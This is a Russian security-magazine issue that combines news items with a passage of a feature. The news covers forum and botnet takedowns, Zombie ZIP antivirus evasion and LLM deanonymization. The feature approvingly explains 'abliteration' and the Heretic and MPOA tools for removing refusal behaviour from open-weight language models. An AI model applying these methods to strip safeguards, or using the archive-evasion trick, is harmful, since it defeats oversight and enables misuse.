«Приложение получит доступ только к  выбранным пользователем дан‐
ным»,  — пояснили в  Google, добавив, что разработчикам не  придется соз‐
давать собственный интерфейс для этого, — системный уже включает поиск,
переключение профилей и мультивыбор.

 ОРГАНИЧЕСКОГО ТРАФИКА ИЗ GOOGLE ПОТЕРЯЛИ
КРУПНЕЙШИЕ АНГЛОЯЗЫЧНЫЕ ИЗДАНИЯ
58%

Эксперты SEO-компании Growtika проанализировали данные сервиса Ahrefs, отслеживающего
посещаемость десяти крупнейших англоязычных технологических изданий (CNET, Wired,
The Verge, TechRadar и другие). Оказалось, что в совокупности они потеряли 
ежемесячных визитов из  поиска Google с  начала  2024  года. На  пике издания привлекали

 визитов в месяц, к январю 2026 года осталось лишь .

65 миллионов

112 миллионов 47 миллионов

Сильнее всего пострадали Digital Trends ( , с  8,5  миллиона до  265  тысяч посещений),
ZDNet ( ) и  The Verge ( ). При  этом даже наименее пострадавшие издания
лишились немалой части аудитории: CNET потерял , а Mashable — .

−97%
−90% −85%

47% 30%

По данным исследователей, основное падение пришлось на вторую половину 2025 года и сов‐
пало с расширением функции AI Overviews в Google.

Отмечается, что тренд затронул не  только технологические издания: к  примеру, финансовый
портал NerdWallet потерял  трафика, а  медицинский Healthline  —  (минус 

 визитов).
73% 50% 55  мил‐

лионов

LEAKBASE ЗАКРЫТ
ФБР конфисковало домены хакерского форума LeakBase в  рамках меж‐
дународной «операции Leak», координируемой Европолом. На  форуме,
который действовал с 2021 года, насчитывалось более 142 тысяч участников.

3 и 4 марта ФБР совместно с правоохранителями из четырнадцати стран
провело скоординированную операцию по захвату LeakBase. Было конфиско‐
вано два домена, а  также правоохранители получили полную базу данных
ресурса, включая аккаунты пользователей, публикации, приватные сооб‐
щения и  IP-логи. В  общей сложности на  форуме насчитывалось око‐
ло 215 тысяч приватных сообщений и 32 тысяч публичных постов.

На захваченном домене leakbase(.)la теперь отображается баннер ФБР
с  предупреждением: все содержимое форума сохранено и  будет исполь‐
зовано в  качестве улик в  будущих расследованиях. Неймсерверы домена
переключены на ns1.fbi.seized.gov и ns2.fbi.seized.gov — стандартные адреса,
которые правоохранители используют при захвате доменов.

Операция не  ограничилась ударом по  инфраструктуре LeakBase. Также
правоохранители провели обыски, аресты и  «беседы» с  подозреваемыми
в  Австралии, Бельгии, Великобритании, Испании, Польше, Португалии,
Румынии и  США. Всего по  миру прошло около  100  оперативных мероп‐
риятий, в  том числе меры были приняты в отношении 37 наиболее активных
пользователей ресурса.

Как сообщил Европол, захват БД позволил идентифицировать множество
пользователей сайта. В  ведомстве отметили, что на  площадке функциони‐
ровала кредитная система и  система рейтинга пользователей, которые
помогали выстраивать доверие среди участников и поддерживать активность
киберпреступного сообщества.

Также в  Европоле подчеркнули, что одно из  внутренних правил форума
запрещало продажу или  публикацию данных, связанных с  Россией. По  мне‐
нию правоохранителей, это  может указывать на  происхождение операторов
LeakBase.

Сам форум появился как  проект, связанный с  хакгруппой ARES, и  начал
активно набирать пользователей после закрытия форума Breached. Регис‐
трация на  площадке была бесплатной, а  участникам предлагался доступ
к базам данных, маркетплейсу для продажи утечек и эксплоитов, эскроу‑сер‐
вису для  проведения сделок, а  также разделам, посвященным программи‐
рованию, хакингу, социальной инженерии, криптографии и OPSEC.

Отметим, что позже , что в  России задержали  33-летнего
жителя Таганрога, которого считают предполагаемым администратором хак‐
форума LeakBase.

стало известно

Мужчину подозревают в создании и администрировании площадки, через
которую с 2021 года торговали похищенными базами персональных данных.
При  обыске у  него изъяли технические средства и  другие предметы, име‐
ющие доказательственное значение.

GRAPHENEOS ОБ ОТКАЗЕ ОТ ПРОВЕРКИ ВОЗРАСТА

Тема верификации возраста на уровне ОС набирает обороты: в Бразилии с 17 марта вступил
в силу закон Digital ECA со штрафами до 9,5 миллиона долларов за нарушение, а калифорний‐
ский закон AB-1043 вступит в силу 1 января 2027 года и обяжет все ОС собирать данные о воз‐
расте пользователей при первоначальной настройке.

Разработчики ориентированного на  приватность форка Android GrapheneOS заявили
в Mastodon, что не намерены подчиняться подобным требованиям, даже если это будет стоить
им рынков сбыта:

→ GrapheneOS будет доступна для  пользователей по  всему миру без  необ‐
ходимости предоставлять личные данные, удостоверение личности или  соз‐
давать учетную запись. GrapheneOS и  наши сервисы останутся доступными
на  международном уровне. Если устройства с  GrapheneOS нельзя будет про‐
давать в каком‑то регионе из‑за местных требований, значит, так тому и быть.

ZOMBIE ZIP ПРЯЧЕТ
МАЛВАРЬ В АРХИВАХ
ИБ‑исследователь Крис Азиз (Chris Aziz) из компании Bombadil Systems раз‐
работал и  продемонстрировал технику атак под  названием ,
которая позволяет скрывать вредоносные нагрузки в ZIP-архивах таким обра‐
зом, что их не замечают антивирусы и EDR.

Zombie ZIP

Специалист объясняет, что суть атаки заключается в  манипуляции
с заголовками файла ZIP. В поле Method выставляется значение 0 (STORED),
то есть «данные не  сжаты». Однако на  деле содержимое архива сжимается
алгоритмом Deflate. Антивирусы доверяют заголовку и пытаются сканировать
содержимое как  сырые байты, но  видят лишь сжатый «шум», в  котором
не распознают сигнатуры.

При этом стандартные утилиты вроде WinRAR, 7-Zip или unzip при попытке
распаковать такой архив сообщают об ошибке или извлекают поврежденные
данные. Это  происходит из‑за того, что CRC-значение (контрольная сумма)
в архиве задано для несжатой версии полезной нагрузки. Однако специально
созданный загрузчик, который игнорирует заголовок и распаковывает данные
как Deflate, без проблем может извлечь скрытый пейлоад.

Азиз уже опубликовал PoC на  GitHub, включая примеры архивов и  под‐
робное описание метода.

Координационный центр CERT (CERT/CC) выпустил 
об  этой технике атак. Проблеме был присвоен идентификатор CVE-2026-
0866, и  специалисты отмечают, что она напоминает уязвимость CVE-2004-
0935, обнаруженную более двадцати лет назад в ранней версии антивируса
ESET.

предупреждение

При этом подчеркивается, что некоторые инструменты для распаковки все
же могут корректно обрабатывать такие «зомби‑архивы».

В CERT/CC рекомендуют разработчикам защитных решений валидировать
поле метода сжатия по фактическим данным, добавить механизмы обнаруже‐
ния несоответствий в  структуре архивов и  реализовать более агрессивные
режимы проверки. Пользователям советуют с  осторожностью относиться
к архивам из незнакомых источников и удалять их, если при распаковке воз‐
никает ошибка unsupported method.

 — ОБЪЕМ РЫНКА ОНЛАЙН-
ПИРАТСТВА В РУНЕТЕ ЗА 2025 ГОД
34,4 МИЛЛИОНА ДОЛЛАРОВ

Аналитики F6  подсчитали, что рынок онлайн‑пиратства в  России сжался до 
 — это на  меньше, чем годом ранее. Снижение связывают с падением

стоимости трафика и перераспределением аудитории в пользу легальных онлайн‑кинотеатров.

34,4  миллиона
долларов США 5,5%

За 2025 год было заблокировано  пиратских страниц, а поисковый трафик на пират‐
ские ресурсы сократился на  . При этом доля легальной рекламы на пиратских площадках
выросла до  .

304 500
5,1%

89%

Для обхода блокировок пираты применяли шифрование текста (в том числе азбукой Морзе)
и DLE-модули с интеграцией ИИ для рерайта описаний фильмов.

Отдельно специалисты предупреждают, что около  пиратских сайтов содержат вредонос‐
ный код или признаки компрометации.

40%

ЗАДЕРЖКА 24 ЧАСА
ДЛЯ СТОРОННИХ APK
Разработчики Google раскрыли детали работы режима для  «продвинутых
пользователей», который позволит устанавливать приложения неверифици‐
рованных разработчиков. Как  и ожидалось, sideloading не  запретят пол‐
ностью, однако процесс установки приложений станет сложнее и будет соп‐
ровождаться обязательным 24-часовым ожиданием.

Напомним, что летом  2025  года в  Google  систему обя‐
зательной верификации для  разработчиков приложений (Developer
Verification). Планировалось, что с  сентября  2026  года приложения на  сер‐
тифицированных Android-устройствах должны исходить только от  разработ‐
чиков с подтвержденной личностью.

анонсировали

Эта новость вызвала волну критики. В  частности, разработчики воз‐
мутились тем, что теперь всем придется предоставлять Google документы,
удостоверяющие личность, а также платить взносы за прохождение верифи‐
кации. Кроме того, в инициативе увидели попытку Google упрочить свой кон‐
троль над экосистемой Android.

Разработчики популярнейшего магазина приложений F-Droid и вовсе 
, что принятие новых правил может угрожать существованию

любых альтернативных магазинов приложений, включая сам F-Droid.

пре‐
дупреждали

В феврале  2026  года  37  правозащитных организаций и  технологических
компаний (в том числе Article 19, Electronic Frontier Foundation, Free Software
Foundation, F-Droid, Fastmail и  Vivaldi) опубликовали , при‐
зывая руководство Alphabet и Google пересмотреть свои планы.

открытое письмо

В итоге в  Google  создать специальный режим для  «опытных
пользователей», и  на этой неделе наконец стало известно, как  именно он
будет работать.

пообещали

Как  Мэттью Форсайт (Matthew Forsythe), директор по управлению
продуктами Android App Safety, в компании услышали, что продвинутые поль‐
зователи «хотят осознанно рисковать и  устанавливать софт неверифици‐
рованных разработчиков». Поэтому для  них предусмотрят специальный
advanced flow, который вряд ли можно назвать простым.

пояснил

Чтобы активировать возможность установки приложений из  сторонних
источников, пользователю понадобится:

включить режим разработчика в  настройках системы (семь раз нажать
на номер сборки в разделе «О телефоне»);

•

подтвердить, что его не принуждают к установке приложения;•
ввести код разблокировки устройства;•
перезагрузить телефон;•
подождать 24 ч;•
по истечении суток вернуться в  соответствующее меню, пройти биомет‐
рическую аутентификацию (отпечаток пальца или Face Unlock) или ввести
PIN, прокрутить дополнительные предупреждения и  выбрать: разрешить
установку неверифицированных приложений на семь дней или бессрочно;

•

поставить галочку, подтверждающую, что он понимает риски.•

По словам вице‑президента Google Самира Самата (Sameer Samat), период
ожидания длительностью 24 ч введен ради борьбы с мошенниками, которые
все чаще применяют социальную инженерию и  давят на  жертв, вынуждая их
немедленно установить приложение:

«
»

За эти  24  ч атакующим станет гораздо сложнее продолжать атаку
и удерживать давление на жертву. За это время человек, скорее все‐
го, выяснит, что его близкий не  сидит в  тюрьме, а  банковский счет
не был взломан.

При этом в Google отмечают, что пользователи, которые уверены в своих дей‐
ствиях и  планируют устанавливать неверифицированные приложения, могут
заранее пройти весь процесс и  выбрать опцию «бессрочно», после чего
режим разработчика можно будет снова отключить.

Также в компании подчеркивают, что верификация разработчиков не нап‐
равлена на контроль над содержимым приложений, а речь идет исключитель‐
но о подтверждении личности, чтобы убедиться, что приложение не является
подделкой и не исходит от известных распространителей вредоносного ПО.

По словам Самата, root-утилита, скачанная осознанно, не будет считаться
малварью, равно как и альтернативный YouTube-клиент, обходящий рекламу.
Вредоносными будут считаться лишь те приложения, которые «причиняют
вред устройству или данным пользователя без его ведома».

Помимо advanced flow, в Google предусмотрели и еще один вариант уста‐
новки приложений неверифицированных разработчиков — бесплатные огра‐
ниченные аккаунты для  студентов и  любителей. Такой способ позволит рас‐
пространять приложения среди небольших групп людей (до  20  человек)
без верификации.

Продолжение статьи →
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Обе опции обещают сделать доступными в августе 2026 года, до вступления
новых требований в  силу. Сначала, в  сентябре  2026  года, систему верифи‐
кации протестируют в  Бразилии, Индонезии, Сингапуре и  Таиланде, где
наиболее распространены мошеннические схемы с установкой приложений.

Глобальное развертывание механизма запланировано на следующий год,
и  он уже интегрирован в  Android 16.1, а  со временем появится на  всех под‐
держиваемых устройствах.

 ХАКГРУПП АТАКОВАЛИ РОССИЮ В 2025 ГОДУ57

По данным экспертов Positive Technologies, в 2025 году Россия вошла в тройку наиболее ата‐
куемых стран наряду с США и Китаем. На ее территории зафиксировали активность  хакер‐
ских группировок, нацеленных на  страны СНГ. Всего в  регионе аналитики отслеживали 
группировки.

57
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Половина всех атак пришлась на промышленные предприятия, госструктуры и финансовый сек‐
тор. По  распределению внутри СНГ Россия лидирует с  долей , следом идут Беларусь
( ) и Казахстан ( ).
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Основную активность проявляли APT-группировки, а  хактивисты обеспечили лишь  атак.
Среди наиболее активных групп исследователи перечислили , ,

,  и  .
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Отдельно отмечается, что злоумышленники активно внедряют ИИ: они генерировали с  его
помощью фишинг, писали вредоносный код и создавали дипфейки.

LLM МОГУТ
РАСКРЫВАТЬ
ПОЛЬЗОВАТЕЛЕЙ
Исследователи , что анонимность в  интернете скоро может
исчезнуть. Дело в  том, что большие языковые модели могут массово иден‐
тифицировать владельцев анонимных аккаунтов в  соцсетях и  уже сейчас
делают это с точностью 68%.

утверждают

Группа экспертов, в  которую вошли специалисты Швейцарской высшей
технической школы Цюриха (ETH Zurich), исследовательской программы
MATS (ML Alignment & Theory Scholars) и  компании Anthropic, опубликовала
работу, в  которой описала эксперименты по  сопоставлению личностей кон‐
кретных людей с их аккаунтами и постами на разных платформах. Результаты
показали, что recall  — то есть доля успешно деанонимизированных поль‐
зователей  — достигала  68%, а  precision  — доля верных предположений  —
доходила до 90%. Классические методы, основанные на ручной сборке струк‐
турированных датасетов, обычно демонстрируют более скромные резуль‐
таты. Авторы пишут:

«
»

Наши выводы имеют важное значение для  конфиденциальности
в интернете. Среднестатистический пользователь сети давно исходит
из того, что псевдонимность обеспечивает достаточную защиту, пос‐
кольку адресная деанонимизация требует огромных усилий. LLM опро‐
вергают это допущение.

Для своих экспериментов специалисты использовали несколько составлен‐
ных на основе открытой информации наборов данных. В одном из них посты
на  Hacker News связали с  профилями LinkedIn через кросс‑платформенные
упоминания, после чего убрали все идентифицирующие данные и  отдали
информацию LLM. Другой датасет был создан на основе старых данных Netflix
(микроидентификаторы предпочтений, рекомендаций, записей о  транзакци‐
ях). Третий эксперимент разделял на части историю пользователей Reddit.

Саймон Лермен (Simon Lermen), один из  авторов исследования, расска‐
зал изданию Ars Technica:

«
»

Мы обнаружили, что ИИ‑агенты способны делать то, что раньше счи‐
талось крайне сложным: начиная со  свободного текста (вроде ано‐
нимизированной расшифровки интервью), они могут вычислить пол‐
ную личность человека.

Так, в отдельном эксперименте эксперты проанализировали ответы 125 учас‐
тников опроса Anthropic о повседневном использовании ИИ. На основе этих
данных удалось точно идентифицировать  7% респондентов. Показатель
невысокий, но, как подчеркивает Лермен, сам факт того, что это вообще воз‐
можно, — тревожный сигнал.

Еще один тест опирался на комментарии с сабреддита r/movies и пяти смеж‐
ных киносообществ (r/horror, r/MovieSuggestions, r/Letterboxd, r/TrueFilm
и  r/MovieDetails). Чем больше фильмов обсуждал пользователь, тем проще
оказывалось его идентифицировать. Среди тех, кто упоминал один фильм,
при  точности  90% удавалось деанонимизировать  3,1% пользователей.
Для тех, кто обсуждал от пяти до девяти фильмов, показатель вырос до 8,4%,
а при десяти и более — до 48,1%.

В третьем эксперименте авторы исследования сравнили работу LLM с клас‐
сической атакой , использовав набор данных из 5000 пользовате‐
лей Reddit (плюс  5000  ложных профилей для  отвлечения). Языковая модель
значительно превзошла классический метод: точность традиционных атак
падала быстро, тогда как LLM-подход показал большую надежность.

Netflix Prize

Эксперты предлагают несколько мер защиты от такой деанонимизации: плат‐
формам стоит ограничивать частоту API-запросов к  пользовательским дан‐
ным, обнаруживать автоматический скрапинг и  блокировать массовый
экспорт информации. Поставщики LLM, в  свою очередь, могут отслеживать
использование моделей для  деанонимизации и  встраивать в  свои продукты
соответствующие ограничения.

Если возможности LLM продолжат расти, предупреждают исследователи,
правительства смогут применять подобные техники для  вычисления сетевых
критиков, корпорации  — для  создания сверхточных рекламных профилей,
а злоумышленники — для подготовки персонализированных атак с примене‐
нием социальной инженерии.

ПРИНС О ТРАФИКЕ БОТОВ

Глава компании Cloudflare Мэттью Принс (Matthew Prince) заявил на  конференции SXSW, что
уже к 2027 году трафик ИИ‑ботов в интернете превысит человеческий. По его словам, до эпохи
генеративного ИИ боты генерировали лишь около  20% трафика, но  ситуация стремительно
меняется. Принс пояснил, почему нагрузка растет так быстро:

→ Если человек подбирает себе камеру, он зайдет на  пять сайтов. Агент
или  бот, выполняющий ту же задачу, посетит в  тысячу раз больше, он может
зайти и  на пять тысяч сайтов. Это  реальный трафик и  реальная нагрузка,
с которой всем приходится считаться.

Мне кажется, люди не  до конца понимают, что ИИ  — это  смена платформ,
как переход с десктопов на мобильные устройства. ИИ — это еще один переход
на новую платформу. Способ потребления информации будет совершенно дру‐
гим.

ЗАКРЫТ СЕРВИС
SOCKSESCORT
Правоохранительные органы США и Европы совместно с партнерами из час‐
тного сектора закрыли прокси‑сервис SocksEscort, который был построен
на базе устройств, зараженных Linux-малварью AVRecon.

Как сообщили специалисты Black Lotus Labs (подразделение компании
Lumen), помогавшие Министерству юстиции США в  этой операции, на  про‐
тяжении последних нескольких лет в сети SocksEscort в среднем насчитыва‐
лось около 20 тысяч зараженных устройств, активных еженедельно.

Впервые исследователи задокументировали SocksEscort еще в 2023 году,
однако в  общей сложности сервис функционировал более десяти лет. Он
предлагал злоумышленникам маршрутизацию трафика через резидентные
прокси и устройства малого бизнеса, рекламируя доступ к «чистым» IP-адре‐
сам крупных провайдеров  — Comcast, Spectrum, Verizon и  Charter, которые
успешно обходили многочисленные черные списки.

«
»

С лета 2020 года SocksEscort продал доступ примерно к 369 тысячам
различных IP-адресов,  — говорится в  пресс‑релизе Минюста.  —
По  состоянию на  февраль  2026  года в  приложении сервиса было
перечислено около  8000  зараженных маршрутизаторов, доступных
покупателям, и 2500 из них находились в США.

Также в Минюсте отмечают, что SocksEscort использовался для кражи крип‐
товалюты на 1 миллион долларов у пользователя из Нью‑Йорка, мошенничес‐
тва на  сумму  700  тысяч долларов в  ущерб производственной компании
из Пенсильвании и для хищения 100 тысяч долларов у действующих и бывших
военнослужащих с карт MILITARY STAR.

В Европе в  ликвидации сервиса принимали участие силовые структуры
Австрии, Франции и Нидерландов при координации Европола. В общей слож‐
ности были конфискованы  34  домена и  23  сервера в  семи странах. Кроме
того, в США заморозили 3,5 миллиона долларов в криптовалюте, связанные
с SocksEscort.

По данным специалистов Lumen, прокси‑сеть работала на  базе малвари
AVRecon, которая активна как  минимум с  мая  2021  года. К  середи‐
не  2023  года этот вредонос заразил 
на  базе Linux. Еще  тогда исследователи пытались нейтрализовать ботнет,
обнулив маршрутизацию для управляющего сервера в своей магистральной
сети. Фактически это разорвало соединение между ботнетом и его управля‐
ющей инфраструктурой и  значительно ограничило малварь в  выполнении
вредоносных действий. Однако эффект оказался временным, и  операторы
SocksEscort быстро восстановили работу.

более  70  тысяч маршрутизаторов

Эксперты подчеркивают, что для  расширения ботнета использовалась
исключительно малварь AVRecon, и с начала 2025 года было зафиксировано
более  280  тысяч уникальных пострадавших IP-адресов. При  этом AVRecon
применялась только операторами SocksEscort  — зараженные IP-адреса
не были связаны с другими ботнетами или сервисами. Более половины пос‐
традавших устройств находились в США и Великобритании.

 ЗАДЕРЖАННЫХ ЗА КИБЕРПРЕСТУПЛЕНИЯ — ЛЮДИ
В ВОЗРАСТЕ 35–44 ЛЕТ
37%

Исследователи Orange Cyberdefense изучили  операций правоохранительных органов
за  2021–2025  годы и  пришли к  выводу, что самая многочисленная группа задержанных
за киберпреступления — это люди  (  случаев). Еще   приходится на возрас‐
тную группу .

418

35–44 лет 37% 30%
25–34 года

«Тинейджеры в  худи»  — скорее стереотип: на  подростков до  18  лет приходится менее 
задержаний, а на возрастную группу  — .

5%
18–24 года 21%

С возрастом меняется и  профиль преступлений. У  молодых хакеров (18–24) преобладает
взлом ( ), а среди группы 35–44 лет на первом месте стоит вымогательство ( ), а за
ним следуют распространение малвари ( ) и кибершпионаж ( ).

30% 22%
19% 13%

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Сын правительственного подрядчика украл у Службы маршалов 46 миллионов долларов

В РКН отрицают блокировку прямого подключения к иностранным VPN-серверам

Новая версия Android-трояна Falcon заразила более 10 тысяч смартфонов в России

Разработчики Max заявляют, что мессенджер не отслеживает использование VPN

Вышла Kali Linux 2026.1 с восемью новыми инструментами и режимом BackTrack

Автомобили можно отслеживать с помощью датчиков в шинах

ФБР ищет пострадавших от вредоносных игр в Steam

ИИ‑инструмент для пентеста используется хакерами

Власти США запретили импорт иностранных роутеров

В IP KVM-устройствах четырех производителей нашли уязвимости
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Языковые модели становятся всё умнее  —
и, с точки зрения регуляторов, всё опаснее.
Свежие релизы отказываются отвечать
на  провокационные вопросы чаще, чем их
предшественники. Некоторые из  них  —
взять ту же GPT-OSS 120B — и вовсе ухит‐
ряются потратить большую часть лимита
на  «размышления», ведя внутренние
дебаты о  том, не  нарушает ли запрос эти‐
ческие гайдлайны.

Справиться с  этой «корпоративной политкорректностью» призван механизм
аблитерации (Abliteration). Это  метод деструктивной модификации весов,
направленный на  нейтрализацию векторов, отвечающих за  нежелательное
поведение. К  слову, «нежелательным» может быть не  только морализаторс‐
тво, но и, к примеру, типичный для LLM «слоп» — та самая вежливая водянис‐
тая чепуха, «словесные кружева», которыми нейронки забивают контекст.

Термин родился из  скрещивания слов obliteration (стирание) и  ablation
(абляция — классический в ИИ‑исследованиях метод постепенного удаления
компонентов системы для оценки их влияния). В отличие от обычного дообу‐
чения (SFT), которое «размывает» веса новыми данными, аблитерация
работает грубее и эффективнее, блокируя способность модели распознавать
инструкции как  требующие отказа, что в  теории делает модель безотказной
без особых потерь в логике работы.

Но с «минимизацией потерь» быстро возникли проблемы. Аблитерирован‐
ные модели из репозиториев  и   на Hugging Face наглядно
показали: такие модели оказываются заметно «глупее» оригиналов. Причем
деградация затрагивает не только запретные темы, но и общую логику. С рос‐
том длины контекста ошибки накапливаются, и модель начинает откровенно
тупить.

mlabonne huihui-ai

Почему так происходит? Векторы отказа в латентном пространстве часто
коррелируют с  векторами, отвечающими за  здравый смысл и  логические
связки. Пытаясь «вырезать» или  перезаписать эти участки, мы неизбежно
задеваем соседние когнитивные механизмы.

И разумеется, никакая аблитерация не  научит модель тому, чего она
не знала изначально. Это чисто деструктивная операция. Если мы вырезали
«предохранители» и попросили модель выдать запрещенку, которой не было
в обучающем датасете, она просто перейдет в режим уверенной галлюцина‐
ции.

Крупные модели (70B+) переносят эту операцию легче: их объемное
латентное пространство позволяет признакам реже конфликтовать друг
с  другом. Но  нас‑то интересуют компактные «локалки», которые можно под‐
нять на  домашнем железе. А  именно они страдают от  побочек аблитерации
сильнее всего.

Из‑за высокой плотности упаковки знаний в малых моделях векторы отказа
намертво переплетены с фактологией. В итоге попытка убрать цензуру часто
превращается в  частичную лоботомию: модель теряет «волю к  сопротив‐
лению», но вместе с ней утрачивает и важную часть «мозга».

ЭВОЛЮЦИЯ НЕПОСЛУШАНИЯ: ОТ КАМЕННОГО ТОПОРА ДО
СКАЛЬПЕЛЯ

История методов аблитерации коротка, но насыщена событиями. В мире LLM
год идет за  десять, поэтому решения начала  2024-го сейчас выглядят
как археологические находки. Давай посмотрим, как эволюционировали инс‐
трументы для снятия цензуры.

Каменный век (2024 год)
Все началось с  исследований на  AI Alignment Forum (статья 

) и постов  (Maxime Labonne).
Тогда, в  туманном прошлом, наши далекие предки обнаружили, что отказ
модели — это вполне конкретное направление, вектор в пространстве акти‐
ваций.

Refusal in  LLMs
is mediated by a single direction Максима Лабонна

В результате появились простейшие скрипты  — например, репозиторий
. Суть метода была проста: находим вектор отказа и вычитаем его

из  весов. На  базе этих и  подобных скриптов появились коллекции моделей
от mlabonne и huihui-ai.

Sumandora

Однако сами авторы этих инструментов честно предупреждали: это  при‐
митивная реализация теоретического концепта. И таки не обманули: модели
mlabonne и  huihui-ai появляются до  сих пор, но  пользоваться ими бессмыс‐
ленно. Концепт он и  есть концепт. Метод бил по  площадям, вместе с  отка‐
зами часто выплескивая и логику. Это была аблитерация ради аблитерации.

Темные века и индустриальная революция: из пушки по воробьям
(начало — середина 2025-го)
Пока энтузиасты ковыряли веса отверткой, пытаясь найти и выдрать с корнем
«нейрон цензуры», ребята с  тугими кошельками (то есть кластерами H100)
пошли другим путем. Зачем что‑то искать и  что‑то вырезать, если можно
добавить?

Этот период (который длится до сих пор параллельно и совместно с раз‐
витием аблитерации) можно назвать эпохой педагогического расцензурива‐
ния. В  чистом виде это  технология SFT (supervised fine-tuning): мы просто
скармливаем модели миллионы токенов, где на  всякую запрещенку дается
конкретный положительный ответ.

Хочешь примеров? Их есть у меня.
Dolphin (коллаб с Venice.ai). Здесь базовая модель Mistral 24B была 

 датасетами без цензуры.
дообу‐

чена

Это честное обучение: модель реально тренируется отвечать на  неудобные
вопросы, причем на  весьма широкой выборке (можешь глянуть примеры
выдачи на странице проекта на  ).dphn/Dolphin-Mistral-24B-Venice-Edition

У моделей Hermes от Nous Research девиз в духе «всё для тебя, дорогой».
В  модели вливаются миллиарды обучающих токенов по  самым разным
темам  — вплоть до  логики, кода и  STEM-задач. Результат  — качественные,
умные, дорогие модели с  пониженным (но далеко не  до нуля) процентом
отказов. Забегая вперед, скажу, что у модели 
процент отказов — 83/100, а у нее же после аблитерации 

  — всего  6/100. Несмотря на  это, модели стоящие, можно
брать (но лучше — в редакции Heretic).

NousResearch/Hermes-4.3-36B
arnomatic/Hermes-

4.3-36B-heretic

 (Latitude Games). Создателям AI Dungeon нужно, чтобы орк мог
рубить головы, а  трактирщица... ну, ты понял. Пока модель‑донор Llama
3.3  пытается понять, что от  нее требуется, Nova распишет сцену в  красках
и без лишних вопросов.

Nova-70B

. Предлагают модели с  «нулевым уровнем отказа» (на самом
деле  — не  вполне, но  довольно близко), созданные «для академических
исследований безопасности» (охотно верим). Секрет успеха прост: «обычное
дообучение», как ответил автор исследования 

 на прямой вопрос «что это вообще такое».

Jinx-org

Jinx: Unlimited LLMs for Probing
Alignment Failures

Почему это тупик? Все эти методы (Dolphin, Hermes, Jinx) дают отличные,
умные модели — но они очень дорогие и трудоемкие. Ты не сможешь сделать
свой Dolphin на базе свежей редакции Mistral; нужен датасет, нужно облако,
нужны время и  деньги. И  чем меньше датасет  — тем уже спектр тем,
с которых ограничения действительно сняты.

Максимум, на  что может рассчитывать одиночка или  небольшая коман‐
да,  — что‑то вроде моделей за  авторством TheDrummer или  ReadyArt. Эти
нейронки после относительно легкого тюнинга становятся озабоченными
маньяками с мыслями только об одном. Нам же все‑таки интересно получить
модель, которая сильна не  только в  трактире. И  здесь на  сцену выходит
Heretic.

Эпоха инквизиции: автоматизация и ересь (конец 2025-го)
Настоящий прорыв случился буквально три месяца назад с выходом инстру‐
мента Heretic. Проект, представленный пользователем p-e-w (ссылки
на   и   прилагаются), превратил аблитерацию из того, что можно
ощутить («модель тупит, но вроде не сильно»), во что‑то, что можно измерить
(KL Divergence = 0,012).

Reddit GitHub

В чем суть Heretic? Если ранние методы работали интуитивно или  били
по  площадям, то Heretic автоматизировал процесс поиска векторов отказа.
Скрипт загружает модель и прогоняет ее через серию тестов, варьируя слои
и силу воздействия, чтобы найти идеальный баланс между двумя метриками:

refusal rate  — процент отказов на  стандартном наборе «запрещенных»
вопросов;

•

KL divergence  — дивергенция по  сравнению с  оригиналом. Если KL
равен 0, на нейтральных темах модель генерирует те же токены, что и ори‐
гинал. С повышением KL генерация будет отличаться все сильнее.

•

Какие значения KL допустимы? Вопрос спорный, но в целом можно принять
шуточную классификацию разработчика :MuXodious

Absolute Heresy: <10% отказов, при этом KL 0,10 и ниже. Идеальный вари‐
ант;

•

Tainted Heresy: ~11–25% отказов либо KL в промежутке 0,20–0,11. Компро‐
мисс;

•

Impotent Heresy: >25% отказов или KL 0,21 и выше. Не очень хорошо.•

Помнишь модели Hermes? После аблитерации получился идеальный вариант:
.arnomatic/Hermes-4.3-36B-heretic

В целом Heretic — это уже хорошо. Основной целью разработчика метода
была нейтральность получившихся моделей: в идеале результаты генерации
на нейтральные темы у модели‑донора и модели после аблитерации должны
совпадать. Но  оказалось, что можно пойти дальше, не  просто сохранив,
но улучшив результат.

Время ускоряется: все еще конец 2025-го
Heretic дал хорошую базу, и  решения, улучшающие алгоритм, не  замедлили
появиться.

В первую очередь это  метод, основанный на  работе Jim Lai 
 (аблитерация с  сохранением нормы). Пер‐

вые модели с  использованием этого метода получили название Derestricted
(рекомендую анонс и  обсуждение метода на  ). Ими стали 

 и, что особенно интересно, 
.

Norm-
Preserving Biprojected Abliteration

Reddit ArliAI/GLM-
4.5-Air-Derestricted ArliAI/gpt-oss-120b-
Derestricted

С технической точки зрения метод состоит из двух частей: разворачивания
вектора отказа в ортогональном направлении (поворачивает веса так, чтобы
проекция на отказ стала нулевой) и восстановления исходной длины вектора.
В результате направление вектора отказа (или того, что мы считаем вектором
отказа) меняется, но значение сигнала (длина вектора) — остается.

В этом — основное отличие метода от того, что делал Heretic: вычитание
вектора отказа из матрицы весов неизбежно меняет не только направление
векторов, но  и их длину (L2-норму). В  архитектуре трансформеров норма
весов коррелирует с их «важностью»: чем больше норма, тем сильнее вклад
нейрона в  активацию следующего слоя. Случайное изменение нормы при‐
водит к  деградации общих когнитивных способностей модели («оглупле‐
нию»).

Это в теории, а что на практике? На практике мы получаем модель с боль‐
шим формальным отклонением KL divergence, со снятыми ограничениями и...
более «умную» по сравнению с оригиналом! По отзывам пользователей, вер‐
сия модели GPT-OSS 120B, которая в оригинале получила печальную извес‐
тность буквально параноидальной цензурой, внезапно перестала тратить
большую часть вычислительных сил на размышления о том, можно ли ей отве‐
тить или лучше не стоит, — вместо этого размышляя над самим ответом.

Изменение «направления мыслительного процесса» пошло модели
на  пользу: в   на  Reddit отмечают, что модель не  только стала лучше
думать, но и вместо галлюцинаций начала задавать уточняющие вопросы.

треде

В целом это  очень хороший подход, но  пользоваться им было сложно  —
до совсем недавнего времени.

Начало 2026-го: PRISM и MPOA
Пока ты спишь, Open Source качается. Пока мы восхищались моделями ArliAI,
сообщество уже начало портировать метод обратно в  Heretic. 1  фев‐
раля  2026  года метод magnitude-preserving orthogonal ablation (MPOA) офи‐
циально вошел в состав Heretic ( ).PR#52

Что это  значит на  практике? Теперь в  автоматическом режиме можно
использовать любой метод. Можно  — изначальный Heretic. Можно раз‐
вернуть векторы отказа. Можно восстановить их длину. Можно  — все
это вместе. И пользователи, и разработчики (включая самого автора Heretic
p-e-w) единодушны: MPOA — это прекрасно.

А еще  есть методики PRISM (projected refusal isolation via subspace
modification) и SNR-based layer selection with norm-preserving orthogonalization,
которые использует Eric Elbaz в репозитории . Подробной информации
о  методах или  проекта на  GitHub нет, но  из кратких описаний следует, что
